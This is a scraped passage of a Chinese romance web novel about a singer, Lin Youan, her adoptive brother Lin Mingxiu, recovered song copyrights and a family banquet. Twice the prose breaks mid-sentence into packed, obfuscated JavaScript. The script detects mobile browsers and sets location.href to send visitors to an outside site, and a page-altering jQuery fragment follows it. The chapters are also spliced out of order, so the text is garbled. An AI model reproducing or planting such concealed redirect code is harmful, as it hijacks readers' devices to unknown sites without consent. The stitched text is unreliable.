“啊,这个,真瞒不过您。”阿谨讪讪笑道,“知道您不喜欢有人跟进跟出,但是出了这种事,不得不重视。” “知道了。” 她手指覆在眼睛上,揉揉眉间,将糟心的事翻篇。 “不说这些了,现在谈正事,我们来商量一下以后登台唱歌的事。我暂时不打算唱专场了,不用挂节目单,也不用宣传,有感觉就穿插着唱两首。即便是这样,万一人数控制不,或者混进来个不正常的,我们也得有完备的应对预案。” “啊……好,好的。”阿谨嘴里应着,却面露难色,“但是,刚出过这种事,您现在还在风口浪尖上,是不是等过一阵子再……” “等什么?自己的地盘,还不能想唱就唱?”柚安反安慰他,“顾……林鸣修应该吩咐过你们,现场秩序是首要考虑因素吧,但也别因为这样,就把入场人数卡得太死,我们开门做生意的,赚钱才最重要。” 阿谨点头,攥紧手中的文件夹,心头仍有顾虑。 人身安全尚可以人为保护,大小姐心情,真的不会受影响吗? “老板,我还是担心,像那样的黑粉,抓住一个,后面就有一堆,跟蟑螂一样。他们现在,正在网上拿您的旧新闻开Party,这个关头还保持高调的话,怕他们变本加厉。” “偏要高调,气死他们好了。”柚安笑。 那样好看的一张脸,笑起来有魔力,眼睛一弯,真的能让人心神激荡,如沐春风。 阿谨脸一红,干劲跟着起来。 “是,我这就去准备!” 手机闹铃响了一声,柚安拿出药盒,慢条斯理地挑出该吃的药。 阿谨见状,赶忙帮她倒上一杯温水,方才离开。 关门时,忍不住回头看了一眼。他想起初见这位小姐时,她人在魂却淡,全靠一丝倔强撑着。那时的她,应该不会买嫩紫色的风铃花来布置房间,也不会用规整的药盒,悉心分隔出不同的药,定时定点服用吧。 阿谨眼眶温热,轻轻带上房门。 柚安服下药,打开手机来查看信息。 林栖的头像就在这个时候弹了出来。 栖:【看过你唱歌的视频了,新歌太棒了!】 柚安歪头,扬了扬嘴角。 LYA:【你是专业人士吗?就一句太棒了?】 对方很久没有回复,她也知道这样问,是为难老友。自己没有录一个完整版发给她,不知道从现场偷录版里,能听出个什么来。旋律每天都在调,词也没填完,自己才是不专业的那个。 她熄了屏,不打算再发什么。自从上次匆匆一面,两人就没再联系过,只有在林鹤堂生病的新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933331|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻盛传时,对方发过消息慰问。 人情淡泊,不知该怎么捞起。 也许一首不成型的歌,就值这一句笼统的赞美。 等到下午夕阳落尽,她准备开车离开时,居然再次收到林栖的消息。 栖:【和以前的歌比起来,有种久溺的人冲出水面,发现斗转星移,天高海阔的挣脱感。】 栖:【P.S.要出发行版吗?找我帮你做啊!】 柚安关上车门,盯着文字,世界瞬间安静下来,她在驾驶座打字:【我玩玩儿而已,大制作人。】 系好安全带,提示音再次响起。 栖:【很抱歉,上次见黎燃时,我有点失态,现在看来,是我先入为主了,新的恋情,真的有改变你很多,好希望你幸福。】 柚安长吁一口气,旧事如流水,现在想起来,早就缥缈了。 LYA:【不是的,不是他。】 LYA:【我们早就没事了。】 栖:【我还以为,是他拎你出来的……】 柚安紧了紧手机,脑海中不可抑制地浮现出另一张脸。 几度深深呼吸,仍旧无法抹除。 她没再打字,也不知道该回什么,心神意乱地将车开回夏山郡。 一进门,管家就告知说,少爷又飞了。 柚安扶额,“真的不用告诉我的。” 如此,又有几天没见到林鸣修的踪影。 但她沉迷于新歌,日程充实,日子过得飞快。 这天傍晚,在家刷手机时,柚安无意间刷到自己的热搜,名字居然和陆野挂在一起。 心脏顿时跳得失速,光是看到名字,就像被陨石击中。 指尖颤抖着点开词条,内容是陆野新专发布会上的采访。因为她的“复出”,数年前刚被捧出名,就背刺经纪公司,违约转投另一公司旗下,进而被爆出潜规则,与金主在酒店房间发生伤人案件的事情,再次被拿出来讨论。 作为被背弃的前经纪公司老板,陆野被问到对此事的看法。 他举起话筒,柚安的心脏像坐过山车一样极速下坠,她甚至没有办法去看屏幕中的那张脸。 而与之长相相似的黎燃的脸,她却曾百看不厌。 真是叶公好龙! 虽然当年一笔烂账,但陆野的回答非常举重若轻。他帮柚安说了话,澄清了背刺的传闻,并作为前老板,表达了对歌手林柚安的认可。 整段回答不超过一分钟,再看网上,风评略有向好,那些攻击的言论失去了落脚点。 柚安窝在沙发上,偌大的客厅只有她一个人,没有开灯,凭廊上几盏顶灯,将周遭覆上一层橘黄色光晕。 带着某种失重的感觉,她将进度条拨回去,幽暗安静的客厅又响起了陆野的声音。 他嗓音顶级,歌声几度让她颤栗,无怪乎脱敏的过程,漫长又煎熬。 听完第二遍,再拨回去,如此往复…… 不知看到第几遍的时候,她感到心跳已经落回到正常。 可以正视陆野的脸了,而他的脸,也不是什么值得避忌的洪水猛兽。 若说洪水猛兽,时间才是。 柚安猛然发觉,已经过了,这么久了。 久到回头望去,已经记不得,因何而迷恋上这张脸了。 “看几遍了,恋恋不舍的?” 背后的声音叫她心下一惊,转头,林鸣修正双手插兜,靠在沙发背上,侧过脸,好整以暇地看着她。 他的眼睛里,不止有看不起,还有着显而易见的不高兴。 31. 第 31 章 “你是鬼啊,一下出现一下消失,脚步都没声音的。” “是你看得太入迷了,来来回回看三遍。”林鸣修说着,伸臂过去,将柚安的手机屏幕向上一挥,关掉了视频。 夏山郡陷入彻底的安静,黑夜中,万物都在蛰伏。 柚安笑说:“不止,我看三十多遍了。” 然后眼见他眉心皱起,低头,松了松衬衣领带,默不作声。 “哦,我忘了,你说过你喜欢我,所以,是在生气吗?” 好像又回到了少年时候,找到机会就要欺负他一下,眼看他风尘仆仆,疲惫,难过,还是精准戳中痛点,豪不手软。 他手撑在沙发边沿,匀称干净的一双手,手背青筋微微凸起,随着他用力,又明显了一点。 垂眸,目光落在沙发里,柚安的脸上。 自从承认他喜欢她,像这样明目张胆的注视,一次比一次长久,眼中的温柔、暗涌、乃至脆弱,都丝毫不避忌藏匿。 “柚安,怎么才能让你走出来?”他低低地问。 ……我好像,已经走出来了。 柚安迎向他的目光,心头一软,本能的那点刻薄化作罪恶感。 再耍你一下就告诉你好了,她心想。 “我……” “随便吧,懒得管你。”不等柚安说话,林鸣修丢下一叠文件,迈步上了楼。 看他长腿交叠而行的气势,柚安心说真是小气,目视他身影彻底不见,才捡起文件来看。看上一眼,心情再次如坐上过山车。 那竟是她之前所写歌曲的版权证书。 她所有的歌,从大红大紫到冷门小众,全回到了自己手里,只差她签名。 怔然数秒之后,柚安紧攥着文件追上楼去,在林鸣修即将关上卧室门的一刻,将门撞开。 “你,你这几天就是买版权去了?”她喘着粗气问,“你找陆野了?” 林鸣修不跟她僵持,松开门上的手,转而进屋,将领带一把扯下来,随意丢在床上,衬衣的衣领呈现一个深V型,露出有致的锁骨。 “不需要几天,他开出的价格很公道,全程没有为难我,事情办得很顺利。” “怎么没送给你呢?”柚安逞强撇嘴。 “柚安,”林鸣修看住她,“不要觉得你的作品没有价值,可以被当作人情,敷衍对待。” 柚安喉咙发紧,再想伪装地不甚在意,很难了。 啊,这样就跟原经纪公司,跟陆野完全切割了。 但这不是最重要的,最重要的是,那些歌,是她丢掉的,最最珍贵的东西。她没有想到有人会帮她惦记着,再帮她拾起,一首不落。 “为,为什么?” “还能为什么?你重新写歌,我送你个礼。” “……乱唱下?咋。”柚安舌尖轻轻卷过。 不是没有想过,林鸣修在收购乘风的关键时刻,一边收拾黑粉的那些破事,一边担心她的安全,她却不知收敛,非要在安全线边缘夜夜笙歌,这会让他多头疼。 谁知他非但不嫌烦,竟比自己还当真,正正式式买下了版权。 “要不要随便你。”林鸣修摘下腕表,背过身去,漫不经心地解衬衣纽扣。 对于正在收购一家上市公司的人来说,买下几首歌曲的版权,是否就跟随手买一杯咖啡那么简单? 不,她没法这么觉得。 即便对方表现地那么举重若轻,她仍旧感到这份礼物,有着自己扛不起的重量。 谢谢你。 她想说。 却一张口就觉鼻酸,声带发涩地厉害。 林鸣修全然无视她的纠结,扣子已经解到底,衣襟微敞,隐约可见有雕塑感的腰线,就这样朝门口走去。 本就发沉的脑子一时间更乱了,眼睛不知道看哪里好。 男人脚步逼近。 柚安半个“谢”字刚说出口。 他一手做出脱衣服的姿势,另一只手不由分说地关上了门。 “砰——”的一声,柚安被关在门外,一张脸涨红。 “……喂!”她气得牙关打颤。 “我话没说完呢!” “你真在生气吗?” “真生气了吧!” . 又过了一个月,林鸣修正式拿下了乘风,带领四海抵着下行的股市,开始新的一轮的开疆扩土。 他收购的手段不怎么光明。先是规避信息披露线,通过马甲公司分散买入乘风股份。再制造负面新闻,迅速在公开市场大举扫货,让乘风高层措手不及。这时候发动舆论战,披露对方财务漏洞,引导投资者恐慌性抛售,如此将收购成本降到最低,依法发起强制收购。 每一步都不动声色,到最后才杀机毕露。 他顶住压力打了一场胜仗,但四海的董事会似乎并不买账。 特别是站林鹏海的那一派老股东,他们反而觉得一向不显山露水的林鸣修,刚上位就暴露狼性,不得不令人警惕。如此手段不仅太过激进,还会让四海在行业内树敌,丧失人心,后患无穷。 在泊港公馆陪父亲散步的时候,柚安问林鹤堂:“那群董事会的老家伙,必定各个阅历丰厚,见惯黑白手段,怎么对道德感要求这么高呢?高到连实打实的业绩也要为此让路。” 林鹤堂背过手道:“他们只是害怕而已。” 为让林鸣修获得董事会的信任,林鹤堂决定在夏山郡举办一个回归宴会,宴请亲朋好友以及四海寰宇的大股东,在晚宴上公开表达对林鸣修的支持。 不同于在医院的那场对外的新闻发布会,这次宴会偏于家宴,属于是一条船上的人共襄盛举。 这也是林鹤堂消失五个月后,首次公开露面。复查结果一切都好,他也将就此从泊港公馆搬回夏山郡。 但是人们默认他从波士顿疗养归来,对其真实病情百般打探而不得。 晚宴上,他要向这条船上的人正式宣布,如之前所披露,他的健康没有任何问题,但仍将退居幕后一段时间,四海的掌舵权,将交付给林鸣修—— 他的义子,他的儿子,四海寰宇未来的掌舵人。 与此同时,家族信托基金也将会正式加上林鸣修的名字,以正他子嗣之名。 晚宴当天,名流云集,维多利亚港的夜色被镀上一层溶金,夏山郡巨大的雕花青铜门无声滑开,一辆辆名贵轿车静滑而入。 身为家主的林鹤堂穿着一袭深色的立领唐装,身躯挺拔,没有一丝病容。他非鹤立鸡群,而是有种静水深流的沉稳气度,叫人自然而然臣服。 尹晴挽着丈夫的手臂,身上的淡蓝色中式礼服,将她衬托地像一支古典优雅的白兰。 就连鲜少出席这种宴会的柚安也精心打扮,同尽地主之谊。 她选了一身香槟色,极细腻的薄纱礼服,背部精致的镂空绑带,露出蝶翼般舒展的肩胛骨,穿梭在富贵逼人的各色贵胄之中,气质绝尘,令人情不自禁目光跟随。 大伯母陈静淑挽着梁太的手,远远招呼柚安过去,介绍二人认识。 这位前政界高官的夫人,有着不菲的家世,如今在四海的董事会担任非执行董事。 虽是第一次见面,但柚安这些日,在林鹤堂的指导下,对几位重要董事的背景,已了如指掌。 梁太五十岁上下,雍容华贵,如今活跃在社交界和艺术界,拥有广泛的政商、名流圈人脉。而她的丈夫深谙港岛及大湾区法律法规和政策风向,是政商之间的重要桥梁。 柚安知道,也看得出来,梁太与陈静淑十分交好,她是林鹏海一派的忠实拥护者。 梁生和林鹤堂在另一处闲叙,这边,梁太身边跟着一双儿女——梁嘉栋和梁嘉仪,他们是龙凤胎,刚从伯克利大学毕业回国,主修音乐表演与创作。 难怪会对柚安感兴趣。 她亲切地介绍一双子女,并表达对柚安的欣赏:“我不常听流行乐的,但柚安的歌实在叫人难忘。” 梁嘉仪就拉着柚安叫姐姐,说:“可以去你的酒吧玩吗?” “当然欢迎,包场就更好了,我联系你喜欢的乐队来表演。”柚安笑容满分,得体又不失诙谐地应和着,场面因此十分轻松愉悦。 几个年轻人又说起各自在国外念音乐的事情,他们热络地聊了许久,陈静淑笑容满面:“我说吧,都是搞音乐的,他们肯定玩得来。” 梁太会心一笑,心情愉悦地看着孩子们,颈间那串硕大均匀的南洋白珠,在水晶吊灯的映照下熠熠生辉。 就在半小时前,她去休息间找梁嘉仪,后者正跟三位别家的千金热聊林柚安的八卦。那些上不了台面的事情,世家小姐们在外装作毫不知情,亦不关心,私底下说起来,却比谁都轻车熟路。谈笑间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梁太摩挲着香槟杯口,笑着看向几乎快要退出人群的柚安,“林小姐有没有兴趣,叫我们见识见识?” 柚安一笑,几分为难模样,“真不巧,前天打网球的时候,手腕伤到了,恐怕这会儿还弹不了琴。” 梁太看她数秒,勾了勾唇,“那真遗憾。” 分明说遗憾,笑容却满意。 这样说,有心的人就会听出来,她是怕技不如人,才找借口躲开的,更让梁嘉仪有面子。比起直接拒绝,高明得多。 梁太对各式各样的恭维已经免疫,今日份的乐趣,是来自林柚安的,她看柚安的眼神,亦多了几分看重。 尹晴站在不远处看到这一幕,紧了紧丈夫的手臂问:“你教她的?” 林鹤堂见怪不怪的样子说:“柚安本来就不喜欢出风头。” 他的眼睛里,有着盛大的骄傲。 这种宴会永远不缺才华横溢的天之骄子,很快,钢琴前就坐了新的人。趁大家注意力转移,柚安抽身退出了人群。 她捏着酒杯,靠在窗边,置身事外地看着名利场,心情很平静。 倘若从前,背地里像那样说她的人,她无论如何是要记着,再成倍报复回去的。 如今倒也不是宽容了,只是真的生不起气来。 那些流言蜚语再猖狂,也只在水底下烧,烧不到身上来。 至于记仇,至于抢风头,既不值得,也不好玩。 尹晴目光追随至女儿退出人群,忽而纳闷林鸣修一晚不见踪影。 目光逡巡一周,发现他只身坐在一个小厅的沙发里,小厅入口有深色的帘幕,将他身影半遮。不时有年轻男女端酒杯过去与他攀谈,谈不到两句就被他阴沉沉的气场劝退了。 尹晴一开始想,怕是因为等下,林鹤堂要将他推至幕前,所以他这会儿特意低调,隐其锋芒。 但是看久了,便看出他别有心事。 从前这种场合,虽也平淡疏离,社交只在礼数之内,却从不像这样生人勿进。 攀谈者走尽后,他独自一人,显得更加阴郁、抽离。 他倾身,双肘支在膝上,目光投向某处,就这样看定了。 尹晴寻他视线看去,看到了靠在窗前的柚安。 后者一脸怡然,似在倾听钢琴演奏,有人过去与她交谈,她便言笑晏晏,弯起一双好看的眼睛,社交场上欢声笑语,她看上去自如又合群,却又好似蒙着一层滤镜,这层滤镜和生人勿进的林鸣修,是一般底色。 实在纳闷,尹晴正欲上前,同林鸣修问个究竟,后者竟先一步起身,径直朝柚安走去。 不巧这时来了几位太太拉尹晴闲叙,她不得不收敛视线,投入新一轮的应酬。 16-20 第16章 原来自己远非高尚到能给…… 机车的引擎声如潮褪般消寂, 天色将亮未亮,街头只剩下林鸣修一个人。 手里烟已燃尽,他未作发觉,仍悬在指尖。 原来某些时刻, 理智和逻辑是不作数的。正如此刻, 他没有办法不去想象林柚安跟黎燃在飞鹅山俯瞰整个九龙半岛时, 会发生些什么。 各种逾越其职责与身份的想法, 如突破胸腔的蜂群, 带着蜇人的尾针将他围困。 奇怪的是,他并不想逃, 这种被噬咬的疼痛,撕开内心隐秘的一角, 亦咬烂这么多年,自欺欺人的面具。 原以为, 将她当做任性的妹妹, 收拾她闯下的烂摊子, 帮她拦下父亲的指责, 最后在她婚礼上佩戴兄长的红色胸花, 在新人一吻时拍手祝福,也算是一种喜欢。 这种无伤大雅的走向对谁都好。 满怀罪恶感的一场暗恋, 亦可以在无人知晓处, 被时光的洪流带走。 但是随着柚安的归来, 这场在心里预演过无数次的云起云散,变得越来越艰难。 原来自己远非高尚到能给她和另一个人祝福。 也非理智到能够压下心头的暗涌,将其掐灭在无人知晓处。 否则,一开始就不会任爱恋发芽。 那所谓的云起云散,只不过为他觊觎恩主之女找一个借口, 再编造一个合适的收场,以自我安慰罢了。 多虚伪! 不知不觉间,天幕已被晨曦撕开了一条裂缝,金色的阳光洒进来,一寸一寸将城市照亮。 晦涩的思绪仿佛天生与光亮不相容,他没法再耽溺其中,强行将神思拉回,提步朝停车场走去。 开车回到夏山郡时,天光已经大亮,六点半的半山,山风微凉。 自东侧停车场至门厅的连廊上,耳边倏地响起轰鸣的引擎声。 只见黎燃载着柚安驶了过来,机车直接横在门厅前方,林鸣修在一段距离之外顿了脚步。 两人似未发现他的存在,接连下车,旁若无人地勾起手。 “爸妈还没醒,你小点声。”林柚安笑着,好似挂着满身春风。身上搭着黎燃的机车夹克,长度刚好盖住被她撕短的裙子。 “那我就不进去了。”黎燃说。 “嗯。”柚安将夹克脱下来递给他。 他伸手直接捉住柚安的手,将人往怀里一带。 柚安伸手环抱他的腰,那笑容,和林鸣修想象中,新娘在婚礼上的笑容一样。 这一切,在他独自渡过白天与黑夜的漫长交替时,已然料到。 他往墙上一倚,眸中没有悲喜,只有一层弥漫山间的薄雾。 嘴角甚至勾着一抹略带嘲讽意味的浅笑,嘲讽的对象是自己也是林柚安。 两人抱了一会儿便松开。 “走了。”林柚安抱着黎燃的夹克,一路小跑上汉白玉石阶,转身挥手作别。 黎燃歪头做了个鬼脸,启动引擎开出了夏山郡。 柚安继续往门厅走,一路步伐轻盈,两颊薄红,如初摘的水蜜桃一般甜美。 忽而瞥见连廊上走来的林鸣修,她不由得放慢了脚步,唇边漾起的笑意微微一滞,旋即却笑得更加明媚。 “早啊,顾鸣修。”她轻快地打了声招呼。 “早。”男人的目光波澜不兴。 两条垂直的轨迹自门厅前交汇,随即一同迈进家门,什么也没说。 似从未发生过任何事,又似心照不宣. 自那日后,林柚安整个人仿佛浸润在幸福的花海里,脸上始终洋溢着甜腻的微笑,做什么都干劲十足,和她初回港城时,简直派若两人。 酒吧生意兴隆,她乐得亲力亲为,从联系乐队表演,到和调酒师研制新品,再到跟阿谨学习些初浅的经营和谈判策略。 家里的乐器室时常传来各种旋律,她甚至开始联系林栖,电话粥煲到深夜。 林栖的主职是音乐制作人,同时她也是歌手,没有签经济公司的她,会按自己喜好接些音乐节,或是线上的音乐节目。 这些天,家里时常响起柚安对着电话,和对方推敲某段和弦走向的话语。 偶起争执,多数时候则默契相投,一拍即合。 她始终无法放弃这个朋友。 尹晴为女儿的改变高兴不已,于此同时,也为另一个孩子担忧不已—— 林鸣修最近疯狂地工作,有时甚至连续一个礼拜宿在公司。 每次见到他,似都消瘦一分。 这天林鸣修答应了回家吃饭,却很晚才风尘仆仆地归家。 见尹晴备好了宵夜等他,他心生愧意,掩住困意,乖乖去餐厅用餐。 还有两天就是清明节,自孟悦去世之后,每年清明,他二人都会一同去深圳祭拜林鸣修的父母。林鹤堂不忙的时候,也会一同前往。 “今年要是太累的话,就待在港城,我代你去就好。”尹晴对林鸣修说。 林鸣修放下汤匙,“我已经把公司的事情都安排好了,这次回去扫完墓,会小住一段时间,可以吗?” “当然可以了,这哪需要问我啊,那是你父亲的家乡,也是你半个家乡。打算住多久,跟你爸说了吗?” “两周,已经跟爸说过了。” 两周的假期,对于林特助来说,已经算得上难得一遇地悠长了。 对话告一段落,林鸣修才低头喝下一口汤。 尹晴心疼地看着他吃饭,原来这些天昼夜颠倒地工作,只是为了腾出时间回家乡小住,这孩子…… 她不由得想起林柚安,柚安在她和林鹤堂这里,永远是孩子,而鸣修则更像一位员工,一位常年无休的机器管家。 她多想鸣修也像个孩子,哪怕任性或是懒散。 为什么林鹤堂的孩子就必须完美优秀?柚安一身伤回到港城的那段时间,尹晴常问自己。 不对,恰恰是林鹤堂的孩子,可以一事无成,不带任何愧疚地享受人生。 所以不论柚安念商还是念音乐,是大明星还是受人唾弃,都是她的骄傲。 鸣修也是。 但他好像在承担另一个孩子未能成为精英栋梁,所造成的缺憾。 尹晴很想告诉他,远不必如此辛苦。 却不知该如何去做—— 他的心门似乎总是紧闭。 “鸣修啊,”她鼓起勇气,“柚安好像跟黎燃处上了,你也年纪不小了,如果有了心仪的人,不妨介绍给我和你爸认识认识?” 林鸣修动作一滞,咽下嘴里的汤,直起背来。 这问题多少有些意外,催婚倒是没什么,他多怕隐秘的心思被长辈看穿。 这些年,不知道有多少世家豪门想撮合林鸣修的婚事,尹晴知道其性格,从不强加干预。 然而从少年自如今,她从未听过或是见过鸣修跟任何异性有拉扯。 哪怕竞争公司找女人下套,亦或是有生意牵连的合作方,隐晦地向他进贡,他也能一次次全身而退,片叶不沾身。那些女人,尹晴知道,都是极品。 作为四海寰宇举足轻重的人物,又是年轻气盛的年纪,这般长相跟地位,身边没有女人,难道是有男人? 所以他才如此压抑! 见林鸣修好像不知道该说什么,尹晴干脆直说:“感情的事,控制不了,也没有什么对跟错。哪怕喜欢一个世俗意义上不被认可的对象,也无可厚非,千万不要压抑自己。” 林鸣修的耳根刹那间泛红,表情管理向来滴水不漏的林特助罕有地无措起来。 那瞬间,他的思维像坐上火箭。 什么时候知道的?如果她知道,那柚安呢? ……算了,知道就知道吧,她自己的感情线都一塌糊涂,到时候,无非是一个横冲直撞的人,取笑一个罔顾伦理的人。 他们实则同病相怜。 尹晴殷切地看着林鸣修,只见他嘴角轻轻勾了勾,不知在想些什么。 难道猜对了? 她壮胆更近一步,“如果有,就把那个男人带回来吧,对家人,没有什么可藏着掖着的。” 林鸣修神情一瞬间凝住,“男人?” 尹晴怀着疑惑点头,“不是吗?” 林鸣修嘴角那一抹笑意逐渐扩大,如蒙大赦。 尹晴:“不是?” “不是的,您误会了。”他额角一层冷汗。 “你今年二十九,从十六岁来港城至今,从没见你有过女人,真的没有喜欢的人吗?我还以为……” 林鸣修轻笑,“抱歉让您担心一场。感情的事,也讲究缘分,可能是缘分没到,所以没有过特别心动的人。其实恋爱谈到最后,无非是柴米油盐,我并没有将其看得很重。如果您有适合的对象,或是四海有需要,我也可以经营好婚姻。” 言下之意,找个资源相衬的,或是家族联姻,他都可以。 这简直为他人机的形象又添一层佐证。 “哦……好……好。”尹晴喉头梗塞,遥想这些年,不知为他推拒了多少世家千金。 而此刻的林鸣修,正为他能脸不红心不跳地说出如此虚伪的话,而自厌到极点。 如果尹晴真的信了并且照做,以他现在的状况,也不是不能接受。 把自己当工具,好过拥有一颗会痛到发疯的心脏。 话说到这儿,楼上忽然传来一连串节奏密集的鼓声。 尹晴青筋直跳,“夜里一点,这丫头疯了!” 俩孩子什么时候能中和一下就好了。 管家被吩咐上楼提醒。 片刻后,鼓声停了,转而飘来一串肆无忌惮的笑声。 尹晴想家暴的心都有了,问回来的管家:“小姐在做什么呢?” 管家回道:“小姐在打视频电话。” “跟维市那位朋友吗?” “跟黎少爷。”管家面带笑意。 尹晴哼了一声,面色有所缓和。 “这丫头指定是跟黎燃处上了,你说是不是?”她转向林鸣修。 后者正打算回房,这下不得不重新坐回来,面对这个问题。 “不太清楚,这得等她亲自宣布。” 提起这件事,尹晴笑得眼周纹路都似在熠熠发光,“她们在一起多好,男才女貌,又有共同爱好,你看柚安这些天多开心,她最爱的音乐也拾起来了,可算是苦尽甘来。” 本来可以找一个面面俱到的答案周旋,自然而然脱身的,林鸣修却下意识回道:“人不可能时时刻刻都这么亢奋。” 恰恰是想掩饰什么,才不让一颗心沉下去。 尹晴却不见得,“热恋初期就是这样的啊。” 她笑着摇摇头,那笑容好像在说,以你那番对感情的浅薄认知,自然不知道恋爱中的人能有多甜蜜,赶紧去试一试吧。 林鸣修心中的蜂群又开始躁动。 除了那天独自在街头时的酸涩,他亦对怀抱希冀的长辈感到莫大遗憾。 为拥有而多快乐,就会为失去而多悲切,而他已率先看到了结局。 第17章 大约是回敬她数年来缺席…… 清明节一大清早, 林柚安一家先是上山祭拜了去世的先祖,随后各奔东西。尹晴和林鸣修去往深圳,林鹤堂要赶早班机去国外视察,留下林柚安一个人看家。 柚安跟随母亲, 一路送到她与林鸣修上车。 每当这个时候, 她对林鸣修总没有好脸色。 一来嫉妒他分走了父母的爱, 二来觉得他只是做戏罢了。 孟姨去世的时候, 她都哭得比林鸣修伤心。 准确来说, 她似乎没见林鸣修流过一滴眼泪。丧礼期间,他的平静淡漠, 远超出刚满十八的林柚安的认知,情绪这两个字, 好像从他的身体里刨除了。 林柚安悄悄地琢磨过,不能仅凭眼泪断定一个人的冷血。 以前初中的时候, 班里有一个女生的父亲去世了, 那女生第二天来上学, 脸上一点哀恸都没有, 甚至还在上课时偷看漫画, 一连好几天都是这样。 就在同学们都私下谴责她没有心的时候,那女生却冷不丁从四楼的家中跳了下来。 索性人没有死, 但想起这件事, 柚安便生出警觉。 她暗自观察林鸣修一个多月, 也曾担忧过,害怕他跟那个女生一样想不开。 可是他行为举止再正常不过,在一周后的慈善酒宴上,更是见他言笑晏晏,频频与人举杯谈笑—— 虽然他的笑, 在柚安看来,始终不达眼底。 观察地越久,越是觉得他真的很冷漠。可能是孟姨的病太过折磨,特别是死前那段时间,以至于他的情绪在那时,已经被消磨光了。 更有可能,因为孟姨留书将眼角膜捐献给尹晴,林鹤堂为表感谢,正式收林鸣修为义子,大摆宴席告知天下。 经历这样的天降喜事,他哪还哭得出来?又怎么会舍得死? 柚安还记得,宴席当天,他工工整整改了自己的姓氏。 大伯母悄悄安慰她:“这不全然是件坏事,至少那小子往后不会再打你的主意。” 自林鸣修十六岁找来林家,被收留后,大伯母就提醒柚安小心提防,她告诉柚安,装可怜,博取家主好感,最后巧取豪夺其独生女,堂而皇之继承家业,是很常见的戏码。 那番话将年仅十二岁的柚安吓得几天睡不着觉。 现在好了,他成了她同姓氏的哥哥。 虽然彼时林鸣修已超过十八岁,无法在法律层面完成正式收养。 但少了几页签字盖章的法律文件,他在世人眼中,亦与亲子无异,遗嘱中有他的大名,四海的股份也他一份,改姓的仪式惊动整座港岛,这样的情况下他再打她的主意,会被舆论淹死。 况且已经走到这一步,他又如何还需要林家女婿的身份? 听到大伯母安慰的话时,她已不再是十二岁的无知少女,彼时只觉得对方实在多虑。 林鸣修即便是正式改姓之前,也丝毫没有逾矩的行为,他甚至有些刻意疏远自己。林鹤堂和尹晴多番邀请,他还是坚持和母亲住在几十公里之外的出租屋,与她保持着比清白更加遥远的距离。 幸好他的行为与大伯母的忠告南辕北辙,否则林柚安得从十二岁担惊受怕到十八岁。 认子仪式之后,他们一个正式入住夏山郡,一个离家,去往千里之外的美国留学。就好像鸠占鹊巢的噩梦,终于照进现实,而她这只鹊,从此不管经历怎样的风雨,也没有再回来,从美国到维市,再到伦敦,从声名鹊起到名声狼藉,辗转磋磨七年之久。 “走了,不跟我们说再见?”尹晴见柚安恍神,伸手刮了刮她鼻子。 柚安反应过来,说:“一路平安,替我为孟姨供一束百合,告诉她我一切都好。” “嗯,跟大哥说再见。”尹晴点她。 柚安掀眼一瞧,只见林鸣修面色更沉,好似看她不见。 大约是回敬她数年来缺席的好脸色吧。 再见终究是没说成,两人上了车,车很快开出视线。 偌大的夏山郡一下子冷清下来,林柚安也不想在家待着,处理完酒吧的事情之后,便一个人开车到鲸落湾等日落。 恰在无聊难耐时,林栖的电话打了过来。 柚安靠在“鲸”尾巴上,吸一口丝袜奶茶,高兴地接起来。 “你打得太是时候了,知道我无聊?我跟你说,我们家人全跑光了,视察的视察,上坟的上坟,这两天我都不想回去睡了。” 那头笑了起来,“恋爱中的人还会觉得无聊?男朋友呢?” “黎燃?” “嗯,黎燃。” 柚安吸了一口气,支支吾吾道:“我不是跟你这么说的吧,我只是说……” “认识了一个不错的男孩子。” “嗯,这算恋爱了吗?” “你问我?”那头笑不可遏,“那天说他说到三点,你不认我可跟你急了,溜着我玩呢?” 大概,是恋爱了吧。 这些天的确跟他黏在一起,和乐队其他人一起玩的时候,也是勾肩搭背,紧密无间,她被玩笑地叫作“大嫂”,他们被公认成一对,她毫不介意,好像即便不是现在,也是将来必然会发生的事。 “到哪一步,可以宣告恋爱了呢?”她问有经验的朋友,“亲亲吗?还是……” “搞乜鬼啊?”林栖用蹩脚的粤语逗她,“自己的事情自己都不清楚的咩?” 柚安困惑了数秒,哈哈大笑起来,“管他呢咩!” 林栖认真想了想,说:“我觉得不需要亲亲或是更进一步,只要一个moment,互相确定心意,就算盖章认定。哪怕一个眼神,可能,连眼神都不需要……” “搞乜鬼啊,说得这么玄!” “你有没有这个moment咧?” 林栖故意学着港剧里的语调说moment,两人笑作一团。 “ 不知道啊,”柚安笑完,又吸了一口奶茶,迷茫地望着金光满铺的海面。 半晌,幽幽地说:“但是他说,他喜欢我,那天,在飞鹅山上。” “嗯哼。” “我也喜欢他,”柚安唇角漾起涟漪,“和他在一起很开心啊,他很帅,会骑重机,业余打拳,你可以想象那身材……他好像天生是舞台上的王者,嗓音超绝的,吉他比……” 她忽然语噎,咳了两口说:“比你弹得还好。” “你倒是不怕得罪我。”林栖顿了顿说。 “但是当他打算要吻我的时候……” “嗯?” “……算了,”柚安停顿数秒,“没关系,慢慢来吧!” “什么啊,说到重要关头的时候刹车!” “那么八卦,亲自过来看啊,我带他给你过目。” “现在没空,但是五月初港城不是有马拉松吗?我应该会过来跑。” “哇塞,这么能跑啊你,”柚安兴奋起来,“那说好了,到时候见,你跟黎燃说不定能合作首歌。” “我跟你也能合作首歌。” “……得了吧。” 电话挂断,天色已经全暗下来,天黑后的海面是深蓝色的,看似平静的海平面下,无数暗潮汹涌。 柚安眼色迷蒙,面对着大海,喃喃地说:“有了他,我算不算,旧债已清了?” 入夜,海风一阵凉过一阵,她拍了拍身上的沙子站起来,手机接到黎燃的微信,说明天有个复古风的party,问她要不要来。 柚安来了兴致,说去。 回完微信,便驱车回夏山郡。 